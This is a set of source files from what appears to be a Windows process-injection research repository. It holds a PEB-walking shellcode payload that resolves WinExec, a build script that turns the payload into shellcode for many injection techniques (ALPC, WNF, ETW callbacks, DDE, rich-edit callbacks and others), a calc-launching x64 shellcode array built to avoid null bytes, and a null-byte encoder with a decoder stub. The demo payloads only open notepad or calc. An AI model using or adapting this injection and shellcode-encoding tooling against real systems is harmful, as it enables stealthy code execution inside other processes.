*(DWORD*)"pad\0"; 67 | 68 | pWinExec = (WinExec_t)xGetProcAddress(szWinExec); 69 | 70 | if(pWinExec != NULL) { 71 | pWinExec((LPSTR)szNotepad, SW_SHOW); 72 | } 73 | return 0; 74 | } 75 | 76 | // locate address of API in export table 77 | LPVOID FindExport(LPVOID base, PCHAR pszAPI){ 78 | PIMAGE_DOS_HEADER dos; 79 | PIMAGE_NT_HEADERS nt; 80 | DWORD cnt, rva, dll_h; 81 | PIMAGE_DATA_DIRECTORY dir; 82 | PIMAGE_EXPORT_DIRECTORY exp; 83 | PDWORD adr; 84 | PDWORD sym; 85 | PWORD ord; 86 | PCHAR api, dll; 87 | LPVOID api_adr=NULL; 88 | 89 | dos = (PIMAGE_DOS_HEADER)base; 90 | nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew); 91 | dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory; 92 | rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 93 | 94 | // if no export table, return NULL 95 | if (rva==0) return NULL; 96 | 97 | exp = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, base, rva); 98 | cnt = exp->NumberOfNames; 99 | 100 | // if no api names, return NULL 101 | if (cnt==0) return NULL; 102 | 103 | adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions); 104 | sym = RVA2VA(PDWORD,base, exp->AddressOfNames); 105 | ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals); 106 | dll = RVA2VA(PCHAR, base, exp->Name); 107 | 108 | do { 109 | // calculate hash of api string 110 | api = RVA2VA(PCHAR, base, sym[cnt-1]); 111 | // add to DLL hash and compare 112 | if (!xstrcmp(pszAPI, api)){ 113 | // return address of function 114 | api_adr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]); 115 | return api_adr; 116 | } 117 | } while (--cnt && api_adr==0); 118 | return api_adr; 119 | } 120 | 121 | // search all modules in the PEB for API 122 | LPVOID xGetProcAddress(LPVOID pszAPI) { 123 | PPEB peb; 124 | PPEB_LDR_DATA ldr; 125 | PLDR_DATA_TABLE_ENTRY dte; 126 | LPVOID api_adr=NULL; 127 | 128 | #if defined(_WIN64) 129 | peb = (PPEB) __readgsqword(0x60); 130 | #else 131 | peb = (PPEB) __readfsdword(0x30); 132 | #endif 133 | 134 | ldr = (PPEB_LDR_DATA)peb->Ldr; 135 | 136 | // for each DLL loaded 137 | for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink; 138 | dte->DllBase != NULL && api_adr == NULL; 139 | dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink) 140 | { 141 | // search the export table for api 142 | api_adr=FindExport(dte->DllBase, (PCHAR)pszAPI); 143 | } 144 | return api_adr; 145 | } 146 | 147 | // same as strcmp 148 | int xstrcmp(char *s1, char *s2){ 149 | while(*s1 && (*s1==*s2))s1++,s2++; 150 | return (int)*(unsigned char*)s1 - *(unsigned char*)s2; 151 | } 152 | -------------------------------------------------------------------------------- /payload/x64/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cl -nologo -Os xbin.cpp 3 | echo CONSOLE 4 | cl -DCONSOLE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 5 | link /order:@conhost.txt /entry:GetWindowHandle /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 6 | xbin payload.exe .text 7 | move payload.exe64.bin ..\..\conhost\payload.bin 8 | echo SUBCLASS 9 | cl -DSUBCLASS -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 10 | link /order:@propagate.txt /entry:SubclassProc /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 11 | xbin payload.exe .text 12 | move payload.exe64.bin ..\..\propagate\payload.bin 13 | echo WINDOW 14 | cl -DWINDOW -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 15 | link /order:@extrabytes.txt /entry:WndProc /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 16 | xbin payload.exe .text 17 | move payload.exe64.bin ..\..\extrabytes\payload.bin 18 | echo Service Control 19 | cl -DSVCCTRL -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 20 | link /order:@svcctrl.txt /entry:Handler /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 21 | xbin payload.exe .text 22 | move payload.exe64.bin ..\..\svcctrl\payload.bin 23 | echo ALPC 24 | cl -DALPC -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 25 | link /order:@alpc.txt /entry:TpAlpcCallBack /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 26 | xbin payload.exe .text 27 | copy payload.exe64.bin ..\..\alpc\payload.bin 28 | move payload.exe64.bin ..\..\spooler\payload.bin 29 | echo WORDBREAK 30 | cl -DWORDBREAK -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 31 | link /order:@wordwarping.txt /entry:Editwordbreakproca /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 32 | xbin payload.exe .text 33 | move payload.exe64.bin ..\..\richedit\wordbreak.bin 34 | echo HYPHENATE 35 | cl -DHYPHENATE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 36 | link /order:@hyphentension.txt /entry:HyphenateProc /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 37 | xbin payload.exe .text 38 | move payload.exe64.bin ..\..\richedit\hyphenate.bin 39 | echo AUTOCORRECT 40 | cl -DAUTOCORRECT -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 41 | link /order:@autocourgette.txt /entry:Autocorrectproc /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 42 | xbin payload.exe .text 43 | move payload.exe64.bin ..\..\richedit\autocorrect.bin 44 | echo STREAM 45 | cl -DSTREAM -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 46 | link /order:@streamception.txt /entry:Editstreamcallback /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 47 | xbin payload.exe .text 48 | move payload.exe64.bin ..\..\richedit\stream.bin 49 | echo CLIPBOARD 50 | cl -DCLIPBOARD -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 51 | link /order:@clipboard.txt /entry:OleGetClipboardData /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 52 | xbin payload.exe .text 53 | move payload.exe64.bin ..\..\richedit\clipboard.bin 54 | echo LVCOMPARE 55 | cl -DLVCOMPARE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 56 | link /order:@listview.txt /entry:Pfnlvgroupcompare /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 57 | xbin payload.exe .text 58 | move payload.exe64.bin ..\..\richedit\listview.bin 59 | echo TVCOMPARE 60 | cl -DTVCOMPARE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 61 | link /order:@treeview.txt /entry:TvCompareFunc /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 62 | xbin payload.exe .text 63 | move payload.exe64.bin ..\..\richedit\treeview.bin 64 | echo RELEASE 65 | cl -DRELEASE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 66 | link /order:@release.txt /entry:Release /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 67 | xbin payload.exe .text 68 | copy payload.exe64.bin ..\..\clipboard\release.bin 69 | move payload.exe64.bin ..\..\tooltip\release.bin 70 | echo WNF 71 | cl -DWNF -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 72 | link /order:@wnf.txt /entry:WnfCallback /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 73 | xbin payload.exe .text 74 | move payload.exe64.bin ..\..\wnf\payload.bin 75 | echo WINSOCK 76 | cl -DWINSOCK -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 77 | link /order:@winsock.txt /entry:WSHGetSocketInformation /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 78 | xbin payload.exe .text 79 | move payload.exe64.bin ..\..\wsh\payload.bin 80 | echo DDE 81 | cl -DDDE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 82 | link /order:@dde.txt /entry:DDECallback /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 83 | xbin payload.exe .text 84 | move payload.exe64.bin ..\..\dde\payload.bin 85 | echo QUERYINTERFACE 86 | cl -DQUERYINTERFACE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 87 | link /order:@queryinterface.txt /entry:QueryInterface /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 88 | xbin payload.exe .text 89 | move payload.exe64.bin ..\..\tooltip\queryinterface.bin 90 | echo CTRL 91 | cl -DCTRL -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 92 | link /order:@ctrl.txt /entry:HandlerRoutine /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 93 | xbin payload.exe .text 94 | move payload.exe64.bin ..\..\ctrlinject\handler.bin 95 | echo ETW 96 | cl -DETW -c -nologo -Os -O2 -GS- payload.c 97 | link /order:@etw.txt /entry:EtwEnableCallback /fixed payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 98 | xbin payload.exe .text 99 | move payload.exe64.bin ..\..\etw\callback.bin -------------------------------------------------------------------------------- /eminject/calc3.h: -------------------------------------------------------------------------------- 1 | 2 | // Target architecture : X86 64 3 | 4 | #define CALC3_SIZE 164 5 | 6 | char CALC3[] = { 7 | /* 0000 */ "\xb0\x00" /* mov al, 0 */ 8 | /* 0002 */ "\xc8\x00\x01\x00" /* enter 0x100, 0 */ 9 | /* 0006 */ "\x55" /* push rbp */ 10 | /* 0007 */ "\x00\x45\x00" /* add byte [rbp], al */ 11 | /* 000A */ "\x6a\x00" /* push 0 */ 12 | /* 000C */ "\x54" /* push rsp */ 13 | /* 000D */ "\x00\x45\x00" /* add byte [rbp], al */ 14 | /* 0010 */ "\x5d" /* pop rbp */ 15 | /* 0011 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 16 | /* 0014 */ "\x57" /* push rdi */ 17 | /* 0015 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 18 | /* 0018 */ "\x56" /* push rsi */ 19 | /* 0019 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 20 | /* 001C */ "\x53" /* push rbx */ 21 | /* 001D */ "\x00\x4d\x00" /* add byte [rbp], cl */ 22 | /* 0020 */ "\xb8\x00\x4d\x00\xff" /* mov eax, 0xff004d00 */ 23 | /* 0025 */ "\x00\xe1" /* add cl, ah */ 24 | /* 0027 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 25 | /* 002A */ "\xb8\x00\x01\x00\xff" /* mov eax, 0xff000100 */ 26 | /* 002F */ "\x00\xe5" /* add ch, ah */ 27 | /* 0031 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 28 | /* 0034 */ "\x51" /* push rcx */ 29 | /* 0035 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 30 | /* 0038 */ "\x5b" /* pop rbx */ 31 | /* 0039 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 32 | /* 003C */ "\x6a\x00" /* push 0 */ 33 | /* 003E */ "\x54" /* push rsp */ 34 | /* 003F */ "\x00\x4d\x00" /* add byte [rbp], cl */ 35 | /* 0042 */ "\x5f" /* pop rdi */ 36 | /* 0043 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 37 | /* 0046 */ "\x57" /* push rdi */ 38 | /* 0047 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 39 | /* 004A */ "\x59" /* pop rcx */ 40 | /* 004B */ "\x00\x4d\x00" /* add byte [rbp], cl */ 41 | /* 004E */ "\x6a\x00" /* push 0 */ 42 | /* 0050 */ "\x54" /* push rsp */ 43 | /* 0051 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 44 | /* 0054 */ "\x58" /* pop rax */ 45 | /* 0055 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 46 | /* 0058 */ "\xc7\x00\x63\x00\x6c\x00" /* mov dword [rax], 0x6c0063 */ 47 | /* 005E */ "\x58" /* pop rax */ 48 | /* 005F */ "\x00\x4d\x00" /* add byte [rbp], cl */ 49 | /* 0062 */ "\x35\x00\x61\x00\x63" /* xor eax, 0x63006100 */ 50 | /* 0067 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 51 | /* 006A */ "\xab" /* stosd */ 52 | /* 006B */ "\x00\x4d\x00" /* add byte [rbp], cl */ 53 | /* 006E */ "\x6a\x00" /* push 0 */ 54 | /* 0070 */ "\x54" /* push rsp */ 55 | /* 0071 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 56 | /* 0074 */ "\x58" /* pop rax */ 57 | /* 0075 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 58 | /* 0078 */ "\xc6\x00\x05" /* mov byte [rax], 5 */ 59 | /* 007B */ "\x00\x4d\x00" /* add byte [rbp], cl */ 60 | /* 007E */ "\x5a" /* pop rdx */ 61 | /* 007F */ "\x00\x4d\x00" /* add byte [rbp], cl */ 62 | /* 0082 */ "\x53" /* push rbx */ 63 | /* 0083 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 64 | /* 0086 */ "\x6a\x00" /* push 0 */ 65 | /* 0088 */ "\x6a\x00" /* push 0 */ 66 | /* 008A */ "\x6a\x00" /* push 0 */ 67 | /* 008C */ "\x6a\x00" /* push 0 */ 68 | /* 008E */ "\x6a\x00" /* push 0 */ 69 | /* 0090 */ "\x53" /* push rbx */ 70 | /* 0091 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 71 | /* 0094 */ "\x90" /* nop */ 72 | /* 0095 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 73 | /* 0098 */ "\x90" /* nop */ 74 | /* 0099 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 75 | /* 009C */ "\x90" /* nop */ 76 | /* 009D */ "\x00\x4d\x00" /* add byte [rbp], cl */ 77 | /* 00A0 */ "\x90" /* nop */ 78 | /* 00A1 */ "\x00\x4d\x00" /* add byte [rbp], cl */ 79 | }; 80 | -------------------------------------------------------------------------------- /eminject/test_code/nullz_encoder.c: -------------------------------------------------------------------------------- 1 | // 2 | // A simple PoC for the blog post. 3 | // 4 | // odzhan 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | typedef uint8_t u8; 15 | typedef uint32_t u32; 16 | 17 | #define NULLZ_KEY 0x4D 18 | #define NULLZ_FILE "nullz.bin" 19 | 20 | #define NULLZ_DECODER_SIZE 30 21 | 22 | // compatible with x86 and x86-64 23 | char NULLZ_DECODER[] = { 24 | /* 0000 */ "\xeb\x17" /* jmp 0x19 */ 25 | /* 0002 */ "\x5e" /* pop esi */ 26 | /* 0003 */ "\xad" /* lodsd */ 27 | #define NULLZ_LEN 5 28 | /* 0004 */ "\x35\x78\x56\x34\x12" /* xor eax, 0x12345678 */ 29 | /* 0009 */ "\x91" /* xchg eax, ecx */ 30 | /* 000A */ "\x56" /* push esi */ 31 | /* 000B */ "\x5f" /* pop edi */ 32 | /* 000C */ "\x56" /* push esi */ 33 | /* 000D */ "\xac" /* lodsb */ 34 | /* 000E */ "\xfe\xc8" /* dec al */ 35 | /* 0010 */ "\x75\x03" /* jne 0x15 */ 36 | /* 0012 */ "\xac" /* lodsb */ 37 | /* 0013 */ "\x34\x4d" /* xor al, 0x4d */ 38 | /* 0015 */ "\xaa" /* stosb */ 39 | /* 0016 */ "\xe2\xf5" /* loop 0xd */ 40 | /* 0018 */ "\xc3" /* ret */ 41 | /* 0019 */ "\xe8\xe4\xff\xff\xff" /* call 2 */ 42 | }; 43 | 44 | // create an executable loader 45 | static 46 | void make_loader(size_t inlen, const char *outfile) { 47 | struct stat fs; 48 | FILE *in=NULL, *out=NULL; 49 | void *buf=NULL; 50 | u8 *ptr; 51 | u32 key, xlen, outlen; 52 | 53 | // read size of file 54 | if(stat(outfile, &fs) != 0) {perror(outfile); goto make_end;} 55 | if(fs.st_size == 0) {printf("%s is empty.\n", outfile); goto make_end;} 56 | 57 | // allocate memory for decoder + file 58 | outlen = fs.st_size + NULLZ_DECODER_SIZE + sizeof(int); 59 | buf = malloc(outlen); 60 | if(buf == NULL) {perror("malloc()"); goto make_end;} 61 | 62 | in = fopen(outfile, "rb"); 63 | if(!in) {perror(outfile); goto make_end;} 64 | 65 | out = fopen(NULLZ_FILE, "wb"); 66 | if(!out) {perror(NULLZ_FILE); goto make_end;} 67 | 68 | // find a key for the original length 69 | for(key = -1; key != 0; key--) { 70 | xlen = inlen ^ key; 71 | while(xlen) { 72 | if(!(xlen & 0xFF)) break; 73 | xlen >>= 8; 74 | } 75 | if(xlen == 0) break; 76 | } 77 | if(key == 0) { 78 | printf("unable to find key.\n"); 79 | goto make_end; 80 | } 81 | 82 | // 1. copy decoder 83 | ptr = (u8*)buf; 84 | memcpy(ptr, NULLZ_DECODER, NULLZ_DECODER_SIZE); 85 | 86 | // 2. set the key to decrypt original length 87 | memcpy(&ptr[NULLZ_LEN], &key, sizeof(key)); 88 | ptr += NULLZ_DECODER_SIZE; 89 | 90 | // 3. set the original length of code 91 | xlen = inlen ^ key; 92 | memcpy(ptr, &xlen, sizeof(xlen)); 93 | ptr += sizeof(xlen); 94 | 95 | // 4. set the data to decode 96 | fread(ptr, 1, fs.st_size, in); 97 | 98 | // 5. save data to file 99 | fwrite(buf, 1, outlen, out); 100 | 101 | printf("Loader saved to %s\n", NULLZ_FILE); 102 | make_end: 103 | if(buf)free(buf); 104 | if(out)fclose(out); 105 | if(in)fclose(in); 106 | } 107 | 108 | // encode a file to eliminate null bytes 109 | static 110 | void nullz_encode(FILE *in, FILE *out) { 111 | char c, t; 112 | 113 | for(;;) { 114 | // read byte 115 | c = getc(in); 116 | // end of file? exit 117 | if(feof(in)) break; 118 | // adding one is just an example 119 | t = c + 1; 120 | // is the result 0(avoid) or 1(escape)? 121 | if(t == 0 || t == 1) { 122 | // write escape sequence 123 | putc(0x01, out); 124 | // XOR is just an example. 125 | // Avoid using 0x00 or 0xFF with XOR! 126 | putc(c ^ NULLZ_KEY, out); 127 | } else { 128 | // save byte plus 1 129 | putc(c + 1, out); 130 | } 131 | } 132 | } 133 | 134 | // decode a file to restore null bytes 135 | static 136 | void nullz_decode(FILE *in, FILE *out) { 137 | char c, t; 138 | 139 | for(;;) { 140 | // read byte 141 | c = getc(in); 142 | // end of file? exit 143 | if(feof(in)) break; 144 | // if this is an escape sequence 145 | if(c == 0x01) { 146 | // read next byte and XOR it 147 | c = getc(in); 148 | putc(c ^ NULLZ_KEY, out); 149 | } else { 150 | // else subtract byte 151 | putc(c - 1, out); 152 | } 153 | } 154 | } 155 | 156 | // User interface. Args are input and output file. 157 | int main(int argc, char **argv) { 158 | struct stat fs; 159 | FILE *in, *out; 160 | 161 | // Check arguments 162 | if ((argc!=4)||((argv[1][0]!='e')&&(argv[1][0]!='d'))) { 163 | printf("Usage: nullz e/d infile outfile\n"); 164 | return 0; 165 | } 166 | if(stat(argv[2], &fs) != 0) {perror(argv[2]); return -1;} 167 | if(fs.st_size == 0) {printf("%s is empty.\n", argv[2]); return -1;} 168 | 169 | in = fopen(argv[2], "rb"); 170 | if (!in) {perror(argv[2]); return -1;} 171 | 172 | out = fopen(argv[3], "wb"); 173 | if (!out) {perror(argv[3]); return -1;} 174 | 175 | if (argv[1][0]=='e') { 176 | printf("Encoding %s to %s ...\n", argv[2], argv[3]); 177 | nullz_encode(in, out); 178 | } else { 179 | printf("Decoding %s from %s ...\n", argv[3], argv[2]); 180 | nullz_decode(in, out); 181 | } 182 | fclose(in); 183 | fclose(out); 184 | 185 | make_loader(fs.st_size, argv[3]); 186 | return 0; 187 | } 188 | -------------------------------------------------------------------------------- /wsh/wsh.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _WSAHELP_H 3 | #define _WSAHELP_H 4 | 5 | #include 6 | //#include 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif /* __cplusplus */ 10 | 11 | #define WSH_NOTIFY_BIND 0x00000001 12 | #define WSH_NOTIFY_LISTEN 0x00000002 13 | #define WSH_NOTIFY_CONNECT 0x00000004 14 | #define WSH_NOTIFY_ACCEPT 0x00000008 15 | #define WSH_NOTIFY_SHUTDOWN_RECEIVE 0x00000010 16 | #define WSH_NOTIFY_SHUTDOWN_SEND 0x00000020 17 | #define WSH_NOTIFY_SHUTDOWN_ALL 0x00000040 18 | #define WSH_NOTIFY_CLOSE 0x00000080 19 | #define WSH_NOTIFY_CONNECT_ERROR 0x00000100 20 | #define SOL_INTERNAL 0xFFFE 21 | #define SO_CONTEXT 1 22 | 23 | typedef enum _SOCKADDR_ADDRESS_INFO { 24 | SockaddrAddressInfoNormal, 25 | SockaddrAddressInfoWildcard, 26 | SockaddrAddressInfoBroadcast, 27 | SockaddrAddressInfoLoopback 28 | } SOCKADDR_ADDRESS_INFO, *PSOCKADDR_ADDRESS_INFO; 29 | 30 | typedef enum _SOCKADDR_ENDPOINT_INFO { 31 | SockaddrEndpointInfoNormal, 32 | SockaddrEndpointInfoWildcard, 33 | SockaddrEndpointInfoReserved 34 | } SOCKADDR_ENDPOINT_INFO, *PSOCKADDR_ENDPOINT_INFO; 35 | 36 | typedef struct _WINSOCK_MAPPING { 37 | DWORD Rows; 38 | DWORD Columns; 39 | struct { 40 | DWORD AddressFamily; 41 | DWORD SocketType; 42 | DWORD Protocol; 43 | } Mapping[1]; 44 | } WINSOCK_MAPPING, *PWINSOCK_MAPPING; 45 | 46 | typedef struct _SOCKADDR_INFO { 47 | SOCKADDR_ADDRESS_INFO AddressInfo; 48 | SOCKADDR_ENDPOINT_INFO EndpointInfo; 49 | } SOCKADDR_INFO, *PSOCKADDR_INFO; 50 | 51 | INT WINAPI WSHAddressToString(LPSOCKADDR, INT, LPWSAPROTOCOL_INFOW, LPWSTR, LPDWORD); 52 | INT WINAPI WSHEnumProtocols(LPINT, LPWSTR, LPVOID, LPDWORD); 53 | INT WINAPI WSHGetBroadcastSockaddr(PVOID, PSOCKADDR, PINT); 54 | INT WINAPI WSHGetProviderGuid(LPWSTR, LPGUID); 55 | INT WINAPI WSHGetSockaddrType(PSOCKADDR, DWORD, PSOCKADDR_INFO); 56 | INT WINAPI WSHGetSocketInformation(PVOID, SOCKET, HANDLE, HANDLE, INT, INT, PCHAR, LPINT); 57 | INT WINAPI WSHGetWildcardSockaddr(PVOID, PSOCKADDR, PINT); 58 | DWORD WINAPI WSHGetWinsockMapping(PWINSOCK_MAPPING, DWORD); 59 | INT WINAPI WSHGetWSAProtocolInfo(LPWSTR, LPWSAPROTOCOL_INFOW*, LPDWORD); 60 | INT WINAPI WSHIoctl(PVOID, SOCKET, HANDLE, HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, 61 | LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE, LPBOOL); 62 | INT WINAPI WSHJoinLeaf(PVOID, SOCKET, HANDLE, HANDLE, PVOID, SOCKET, PSOCKADDR, 63 | DWORD, LPWSABUF, LPWSABUF, LPQOS, LPQOS, DWORD); 64 | INT WINAPI WSHNotify(PVOID, SOCKET, HANDLE, HANDLE, DWORD); 65 | INT WINAPI WSHOpenSocket(PINT, PINT, PINT, PUNICODE_STRING, PVOID, PDWORD); 66 | INT WINAPI WSHOpenSocket2(PINT, PINT, PINT, GROUP, DWORD, PUNICODE_STRING, PVOID*, PDWORD); 67 | INT WINAPI WSHSetSocketInformation(PVOID, SOCKET, HANDLE, HANDLE, INT, INT, PCHAR, INT); 68 | INT WINAPI WSHStringToAddress(LPWSTR, DWORD, LPWSAPROTOCOL_INFOW, LPSOCKADDR, LPDWORD); 69 | 70 | typedef INT (WINAPI *PWSH_ADDRESS_TO_STRING)(LPSOCKADDR, INT, LPWSAPROTOCOL_INFOW, LPWSTR, LPDWORD); 71 | typedef INT (WINAPI *PWSH_ENUM_PROTOCOLS)(LPINT, LPWSTR, LPVOID, LPDWORD); 72 | typedef INT (WINAPI *PWSH_GET_BROADCAST_SOCKADDR)(PVOID, PSOCKADDR, PINT); 73 | typedef INT (WINAPI *PWSH_GET_PROVIDER_GUID)(LPWSTR, LPGUID); 74 | typedef INT (WINAPI *PWSH_GET_SOCKADDR_TYPE)(PSOCKADDR, DWORD, PSOCKADDR_INFO); 75 | typedef INT (WINAPI *PWSH_GET_SOCKET_INFORMATION)(PVOID, SOCKET, HANDLE, HANDLE, INT, INT, PCHAR, LPINT); 76 | typedef INT (WINAPI *PWSH_GET_WILDCARD_SOCKADDR)(PVOID, PSOCKADDR, PINT); 77 | typedef DWORD (WINAPI *PWSH_GET_WINSOCK_MAPPING)(PWINSOCK_MAPPING, DWORD); 78 | typedef INT (WINAPI *PWSH_GET_WSAPROTOCOL_INFO)(LPWSTR, LPWSAPROTOCOL_INFOW*, LPDWORD); 79 | typedef INT (WINAPI *PWSH_IOCTL)(PVOID, SOCKET, HANDLE, HANDLE, DWORD, LPVOID, DWORD, 80 | LPVOID, DWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE, LPBOOL); 81 | typedef INT (WINAPI *PWSH_JOIN_LEAF)(PVOID, SOCKET, HANDLE, HANDLE, PVOID, SOCKET, 82 | PSOCKADDR, DWORD, LPWSABUF, LPWSABUF, LPQOS, LPQOS, DWORD); 83 | typedef INT (WINAPI *PWSH_NOTIFY)(PVOID, SOCKET, HANDLE, HANDLE, DWORD); 84 | typedef INT (WINAPI *PWSH_OPEN_SOCKET)(PINT, PINT, PINT, PUNICODE_STRING, PVOID, PDWORD); 85 | typedef INT (WINAPI *PWSH_OPEN_SOCKET2)(PINT, PINT, PINT, GROUP, DWORD, PUNICODE_STRING, PVOID*, PDWORD); 86 | typedef INT (WINAPI *PWSH_SET_SOCKET_INFORMATION)(PVOID, SOCKET, HANDLE, HANDLE, INT, INT, PCHAR, INT); 87 | typedef INT (WINAPI *PWSH_STRING_TO_ADDRESS)(LPWSTR, DWORD, LPWSAPROTOCOL_INFOW, LPSOCKADDR, LPDWORD); 88 | 89 | // 90 | // WINSOCK_HELPER_DLL_INFO contains all the necessary information about 91 | // a socket's helper DLL. 92 | // 93 | 94 | typedef struct _WINSOCK_HELPER_DLL_INFO { 95 | LIST_ENTRY HelperDllListEntry; 96 | INT Unknown; 97 | HANDLE DllHandle; 98 | INT MinSockaddrLength; 99 | INT MaxSockaddrLength; 100 | INT MinTdiAddressLength; 101 | INT MaxTdiAddressLength; 102 | INT UseDelayedAcceptance; 103 | PWINSOCK_MAPPING Mapping; 104 | GUID ProviderGUID; 105 | PWSH_OPEN_SOCKET WSHOpenSocket; 106 | PWSH_OPEN_SOCKET2 WSHOpenSocket2; 107 | PWSH_JOIN_LEAF WSHJoinLeaf; 108 | PWSH_NOTIFY WSHNotify; 109 | PWSH_GET_SOCKET_INFORMATION WSHGetSocketInformation; 110 | PWSH_SET_SOCKET_INFORMATION WSHSetSocketInformation; 111 | PWSH_GET_SOCKADDR_TYPE WSHGetSockaddrType; 112 | PWSH_GET_WILDCARD_SOCKADDR WSHGetWildcardSockaddr; 113 | PWSH_GET_BROADCAST_SOCKADDR WSHGetBroadcastSockaddr; 114 | PWSH_ADDRESS_TO_STRING WSHAddressToString; 115 | PWSH_STRING_TO_ADDRESS WSHStringToAddress; 116 | PWSH_IOCTL WSHIoctl; 117 | } WINSOCK_HELPER_DLL_INFO, *PWINSOCK_HELPER_DLL_INFO; 118 | 119 | #ifdef __cplusplus 120 | } 121 | #endif /* __cplusplus */ 122 | 123 | #endif /* _WSAHELP_H */ 124 | 125 | 126 | -------------------------------------------------------------------------------- /propagate/propagate.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2018 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH 